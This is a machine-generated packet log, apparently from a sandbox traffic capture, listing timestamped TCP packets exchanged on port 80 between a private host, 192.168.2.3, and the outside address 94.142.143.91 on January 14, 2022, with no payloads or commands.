Jan 14, 2022 05:00:00.983817101 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983834982 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983844042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983870983 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983890057 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983899117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983927011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983952999 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.983953953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.983984947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984002113 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984011889 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984040976 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984059095 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984069109 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984096050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984113932 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984123945 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984152079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984169960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984180927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984210968 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984235048 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984236002 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984266043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984282017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984293938 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984319925 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984340906 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984349012 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984376907 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984405041 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984411001 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984436035 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984455109 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984462023 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984492064 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984512091 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984522104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984549046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984576941 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984576941 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984603882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984622002 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.984632015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.984678030 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991188049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991219997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991246939 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991270065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991290092 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991298914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991329908 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991353989 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991359949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991384029 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991390944 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991420984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991451025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991455078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991480112 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991508961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991514921 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991538048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991561890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991569042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991599083 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991617918 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991626024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991656065 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991678953 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991683006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991714001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991729021 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991741896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991770983 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991786957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991800070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991828918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991848946 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991857052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991888046 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991903067 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991916895 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991945028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.991962910 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.991974115 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992003918 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992018938 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992032051 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992060900 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992075920 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992088079 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992117882 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992136955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992146015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992172956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992189884 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992202044 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992230892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992248058 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992259026 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992288113 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992311954 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992314100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992342949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992361069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992369890 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992397070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992419958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992424965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992454052 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992470026 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992481947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992511034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992527008 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992537975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992568016 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992585897 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992594957 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992623091 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992640972 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992650032 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992677927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992693901 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992706060 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992737055 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992754936 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992763042 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992791891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992808104 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.992820024 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.992865086 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:00.994246960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.994273901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:00.994323015 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.041529894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041591883 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041632891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041671991 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041678905 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.041712999 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041731119 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.041752100 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041790962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041804075 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.041831017 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041877985 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.041904926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041944027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041984081 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.041989088 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042023897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042061090 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042068958 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042099953 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042139053 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042155027 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042176962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042216063 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042223930 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042256117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042294979 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042301893 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042335033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042372942 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042381048 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042412996 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042454004 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042458057 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042490005 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042527914 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042536020 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042567015 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042604923 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042615891 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042646885 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042682886 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042692900 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042723894 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042766094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042768955 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042803049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042841911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042850971 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042880058 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042918921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042926073 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.042958975 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.042995930 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043005943 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043035984 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043076038 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043082952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043112993 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043152094 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043169022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043189049 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043227911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043234110 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043267965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043304920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043311119 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043358088 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043401957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043450117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043490887 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043529034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043536901 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043567896 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043606043 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043616056 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043643951 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043682098 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043689013 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043720961 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043760061 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043766022 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043800116 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043836117 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043845892 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043875933 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043914080 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043921947 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.043951988 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043989897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.043998957 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.044028997 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044066906 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044075012 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.044106960 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044142962 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044157028 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.044182062 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044219971 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044225931 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.044256926 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044295073 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044301033 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.044332027 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044372082 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044378042 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.044411898 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.044456005 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.049623013 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049679995 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049716949 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049735069 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.049756050 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049796104 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049799919 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.049834967 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049897909 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.049904108 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049946070 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049983025 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.049993038 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050024033 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050066948 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050070047 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050105095 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050144911 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050153017 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050184011 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050221920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050231934 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050261021 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050301075 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050304890 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050339937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050378084 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050385952 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050415039 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050456047 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050465107 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050494909 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050530910 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050539970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050570965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050607920 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050616980 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050647974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050687075 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050692081 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050724030 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050762892 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050767899 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050801992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050838947 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050848007 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050878048 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050915956 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050921917 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.050955057 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.050997019 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051002026 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051033974 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051074028 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051078081 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051111937 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051148891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051155090 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051187992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051225901 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051233053 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051265001 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051305056 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051311970 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051342010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051381111 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051387072 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051419020 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051456928 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051462889 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051496029 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051534891 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051543951 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051573992 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051615000 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051620960 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051651955 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051690102 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051713943 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051728010 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051764965 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051778078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.051804066 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.051850080 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.056369066 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.058098078 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.113231897 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.113282919 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.113323927 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.113368034 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.113421917 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.113471031 CET	49905	80	192.168.2.3	94.142.143.91
Jan 14, 2022 05:00:01.114892006 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.114934921 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.114974022 CET	80	49905	94.142.143.91	192.168.2.3
Jan 14, 2022 05:00:01.115012884 CET	80	49905	94.142.143.91	192.168.2.3
